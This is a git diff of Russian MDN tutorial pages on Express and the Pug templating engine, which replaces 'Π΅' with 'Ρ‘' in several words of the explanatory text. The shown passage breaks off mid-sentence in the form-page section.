-<p>ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с ΠΎΠ±Π·ΠΎΡ€Π½Ρ‹Ρ… / основных Ρ‚Π΅ΠΌ, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰ΠΈΡ…, ΠΊΠ°ΠΊ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ асинхронными опСрациями Π² функциях ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° ΠΈ ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Pug.Β Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ прСдоставим Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½Π°ΡˆΠΈΡ… основных страниц" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния " с ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌ объяснСниСм Π»ΡŽΠ±Ρ‹Ρ… ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ»ΠΈ Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚.</p>
+<p>ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с ΠΎΠ±Π·ΠΎΡ€Π½Ρ‹Ρ… / основных Ρ‚Π΅ΠΌ, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰ΠΈΡ…, ΠΊΠ°ΠΊ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ асинхронными опСрациями Π² функциях ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π»Π΅Ρ€Π° ΠΈ ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Pug.Β Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ прСдоставим Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½Π°ΡˆΠΈΡ… основных страниц" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния " с ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΌ объяснСниСм Π»ΡŽΠ±Ρ‹Ρ… ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ»ΠΈ Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚.</p>
<p>Π’ ΠΊΠΎΠ½Ρ†Π΅ этой ΡΡ‚Π°Ρ‚ΡŒΠΈ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ сквозноС ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚Ρ‹, асинхронныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, прСдставлСния ΠΈ ΠΌΠΎΠ΄Π΅Π»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅.</p>
diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html
index 449d197c96..7eeebc6e2a 100644
--- a/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html
+++ b/files/ru/learn/server-side/express_nodejs/displaying_data/template_primer/index.html
@@ -17,7 +17,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer
<h2 class="highlight-spanned" id="ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ_шаблона"><span class="highlight-span">ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ шаблона</span></h2>
-<p>Когда создавался каркас (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">the skeleton website</a>) Π²Π΅Π±-сайта <em>LocalLibrary, </em>ΠΎΠ½ Π±Ρ‹Π» настроСн  на использованиС <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a>Β . МоТно Π±Ρ‹Π»ΠΎ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ pug Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² зависимости Π² Ρ„Π°ΠΉΠ»Π΅Β <strong>package.json</strong>, ΠΈ установлСн (app.set(...))Β ΠΊΠ°ΠΊ Π΄Π²ΠΈΠΆΠΎΠΊ прСдставлСний Π² Ρ„Π°ΠΉΠ»Π΅Β <strong>app.js</strong>. Π­Ρ‚Π° установка ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚,, Ρ‡Ρ‚ΠΎ Π΄Π²ΠΈΠΆΠΎΠΊ прСдставлСний - Β pug, ΠΈ Ρ‡Ρ‚ΠΎΒ Β <em>Express</em>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΊΠ°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Π² ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅Β <strong>/views</strong>.</p>
+<p>Когда создавался каркас (<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">the skeleton website</a>) Π²Π΅Π±-сайта <em>LocalLibrary, </em>ΠΎΠ½ Π±Ρ‹Π» настроСн  на использованиС <a class="external external-icon" href="https://pugjs.org/api/getting-started.html" rel="noopener">Pug</a>Β . МоТно Π±Ρ‹Π»ΠΎ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ pug Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² зависимости Π² Ρ„Π°ΠΉΠ»Π΅Β <strong>package.json</strong>, ΠΈ установлСн (app.set(...))Β ΠΊΠ°ΠΊ Π΄Π²ΠΈΠΆΠΎΠΊ прСдставлСний Π² Ρ„Π°ΠΉΠ»Π΅Β <strong>app.js</strong>. Π­Ρ‚Π° установка ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚,, Ρ‡Ρ‚ΠΎ Π΄Π²ΠΈΠΆΠΎΠΊ прСдставлСний - Β pug, ΠΈ Ρ‡Ρ‚ΠΎΒ Β <em>Express</em>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΡΠΊΠ°Ρ‚ΡŒ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ Π² ΠΏΠΎΠ΄ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅Β <strong>/views</strong>.</p>
<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// View engine setup.</span>
app<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span><span class="string token">'views'</span><span class="punctuation token">,</span> path<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>__dirname<span class="punctuation token">,</span> <span class="string token">'views'</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
@@ -36,7 +36,7 @@ app<span class="punctuation token">.</span><span class="keyword token">set</span
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Ρ„Π°ΠΉΠ»Π° шаблона (Π½ΠΈΠΆΠ΅) дСмонстрируСт ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Ρ‡Π΅Ρ€Ρ‚Ρ‹Β  Pug.</p>
-<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ структуру Ρ‚ΠΈΠΏΠΎΠ²ΠΎΠ³ΠΎ HTML-Ρ„Π°ΠΉΠ»Π°, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ слов Π² (ΠΏΠΎΡ‡Ρ‚ΠΈ) ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС являСтся элСмСнтом HTML, Π° отступы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ элСмСнты. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнт <code>body</code> находится Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>html</code>, Π° элСмСнты <code>p</code>Β Β (ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹) - Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>body,</code> ΠΈΒ Ρ‚Π°ΠΊΒ Π΄Π°Π»Π΅Π΅. НСвлоТСнныС элСмСнты (Ρ‚.Π΅.Β ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹) Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… строках.</p>
+<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» ΠΎΡ‚Ρ€Π°ΠΆΠ°Π΅Ρ‚ структуру Ρ‚ΠΈΠΏΠΎΠ²ΠΎΠ³ΠΎ HTML-Ρ„Π°ΠΉΠ»Π°, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΏΠ΅Ρ€Π²ΠΎΠ΅ слов Π² (ΠΏΠΎΡ‡Ρ‚ΠΈ) ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС являСтся элСмСнтом HTML, Π° отступы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ элСмСнты. Π’Π°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, элСмСнт <code>body</code> находится Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>html</code>, Π° элСмСнты <code>p</code>Β Β (ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹) - Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>body,</code> ΠΈΒ Ρ‚Π°ΠΊΒ Π΄Π°Π»Π΅Π΅. НСвлоТСнныС элСмСнты (Ρ‚.Π΅.Β ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹) Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… строках.</p>
<pre class="brush: html line-numbers language-html"><code class="language-html">doctype html
html(lang="en")
@@ -74,7 +74,7 @@ html(lang="en")
each val in [1, 2, 3, 4, 5]
li= val</code></pre>
-<p>Атрибуты элСмСнтов ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² скобках послС ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… элСмСнтов. Π’ скобках располагаСтся список ΠΏΠ°Ρ€ <em>имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°=Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅,</em>ΠΏΡ€ΠΈΡ‡Π΅ΠΌ элСмСнты списка Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ запятой ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ. НапримСр:</p>
+<p>Атрибуты элСмСнтов ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² скобках послС ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… элСмСнтов. Π’ скобках располагаСтся список ΠΏΠ°Ρ€ <em>имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°=Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅,</em>ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ элСмСнты списка Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ запятой ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ. НапримСр:</p>
<ul>
<li><code>script(type='text/javascript')</code>, <code>link(rel='stylesheet', href='/stylesheets/style.css')</code></li>
@@ -83,7 +83,7 @@ html(lang="en")
<p>ЗначСния всСх Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <em>ΡΠΊΡ€Π°Π½ΠΈΡ€ΡƒΡŽΡ‚ΡΡ</em>Β (Ρ‚.Π΅. Ρ‚Π°ΠΊΠΈΠ΅ символы ΠΊΠ°ΠΊΒ "<code>&gt;</code>" Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ эквивалСнтными ΠΊΠΎΠ΄Π°ΠΌΠΈ HTML ΠΊΠ°ΠΊΒ "<code>&amp;gt;"</code>) , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ JavaScript ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ ΠΈ мСТсайтовыС Π°Ρ‚Π°ΠΊΠΈ.</p>
-<p>Если послС тэга стоит Π·Π½Π°ΠΊΒ = , ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСкст рассматриваСтся ΠΊΠ°ΠΊ <em>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</em>Β JavaScript. НапримСр, Π½ΠΈΠΆΠ΅ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС, содСрТимоС тэга <code>h1</code>Β Π±ΡƒΠ΄Π΅Ρ‚ <em>ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ </em>Β <code>title</code> (которая ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² Ρ„Π°ΠΉΠ»Π΅ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° Π² шаблон ΠΈΠ· Express). Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ строкС содСрТимоС ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° - это тСкстовая строка, соСдинСнная с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ Β <code>title</code> . Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· случаСв ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строки.</p>
+<p>Если послС тэга стоит Π·Π½Π°ΠΊΒ = , ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ тСкст рассматриваСтся ΠΊΠ°ΠΊ <em>Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅</em>Β JavaScript. НапримСр, Π½ΠΈΠΆΠ΅ Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС, содСрТимоС тэга <code>h1</code>Β Π±ΡƒΠ΄Π΅Ρ‚ <em>ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ </em>Β <code>title</code> (которая ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² Ρ„Π°ΠΉΠ»Π΅ ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π° Π² шаблон ΠΈΠ· Express). Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ строкС содСрТимоС ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° - это тСкстовая строка, соСдинённая с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ Β <code>title</code> . Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΈΠ· случаСв ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ - ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строки.</p>
<pre class="brush: html line-numbers language-html"><code class="language-html">h1= title
p= 'Evaluated and <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>em</span><span class="punctuation token">&gt;</span></span>escaped expression<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>em</span><span class="punctuation token">&gt;</span></span>:' + title</code></pre>
@@ -97,12 +97,12 @@ p This line has an un-escaped string: !{'<span class="tag token"><span class="ta
<p><strong>Π‘ΠΎΠ²Π΅Ρ‚:</strong>Β ΠŸΠΎΡ‡Ρ‚ΠΈ всСгда ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ (ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ синтаксиса <strong><code>#{}</code></strong>Β ). Π”Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π²Π΅Ρ€ΠΈΡ‚ΡŒ (Ρ‚.Π΅. подсчитанноС количСство  записСй,Β  ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π²Π΅Π΄Π΅Π½Ρ‹ Π±Π΅Π· экранирования Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</p>
</div>
-<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ символ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π° ('<strong>|</strong>') Π² Π½Π°Ρ‡Π°Π»Π΅ строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ простой тСкст ("<a class="external external-icon" href="https://pugjs.org/language/plain-text.html" rel="noopener">plain text</a>"). НапримСр, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкст, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ строкС, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊ ссылкС.</p>
+<p>МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ символ ΠΊΠΎΠ½Π²Π΅ΠΉΠ΅Ρ€Π° ('<strong>|</strong>') Π² Π½Π°Ρ‡Π°Π»Π΅ строки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ простой тСкст ("<a class="external external-icon" href="https://pugjs.org/language/plain-text.html" rel="noopener">plain text</a>"). НапримСр, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ тСкст, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅, Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ строкС, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ, Π½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊ ссылкС.</p>
<pre class="brush: html line-numbers language-html"><code class="language-html">a(href='http://someurl/') Link text
| Plain text</code></pre>
-<p>Pug позволяСт Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ условныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ <code>if</code>, <code>else</code> , <code>else if</code>Β ΠΈΒ <code>unless</code>β€” ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π½ΠΈΠΆΠ΅:</p>
+<p>Pug позволяСт Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ условныС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ <code>if</code>, <code>else</code> , <code>else if</code>Β ΠΈΒ <code>unless</code>β€” ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: html line-numbers language-html"><code class="language-html">if title
p ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ с ΠΈΠΌΠ΅Π½Π΅ΠΌ "title" сущСствуСт
@@ -131,7 +131,7 @@ html
body
block content</code></pre>
-<p>Вэг  <code>block</code> ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ для ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΊΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½Ρ‹ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹Ρ… шаблона (Ссли Π±Π»ΠΎΠΊ Π½Π΅ пСрСопрСдСляСтся, Π±ΡƒΠ΄Π΅Ρ‚ использования Π΅Π³ΠΎ рСализация Π² Π±Π°Π·ΠΎΠ²ΠΎΠΌ классС).</p>
+<p>Вэг  <code>block</code> ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ для ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΊΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½Ρ‹ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹Ρ… шаблона (Ссли Π±Π»ΠΎΠΊ Π½Π΅ пСрСопрСдСляСтся, Π±ΡƒΠ΄Π΅Ρ‚ использования Π΅Π³ΠΎ рСализация Π² Π±Π°Π·ΠΎΠ²ΠΎΠΌ классС).</p>
<p>Π£ΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΠ΅ для  <strong>index.pug</strong> (созданный для каркаса ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон. Вэг <code>extends</code>Β ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠ΅Ρ‚ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ шаблон, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ Β <code>block <em>section_name,</em></code>Β Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ замСняСм.</p>
diff --git a/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html
index 13f409ea3c..f5b742715d 100644
--- a/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html
+++ b/files/ru/learn/server-side/express_nodejs/forms/create_bookinstance_form/index.html
@@ -139,7 +139,7 @@ block content
<h2 class="highlight-spanned" id="Как_это_выглядит"><span class="highlight-span">Как это выглядит?</span></h2>
-<p>ЗапуститС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅Β  <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ссылку <em>Create new book instance (copy)</em>. Если всС настроСно ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ, ваш сайт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½Π°Β ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ Π²Π°Π»ΠΈΠ΄Π½Ρ‹ΠΉ <code>BookInstance</code>, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ сохранСн, ΠΈ Π²Ρ‹ ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚Π΅ 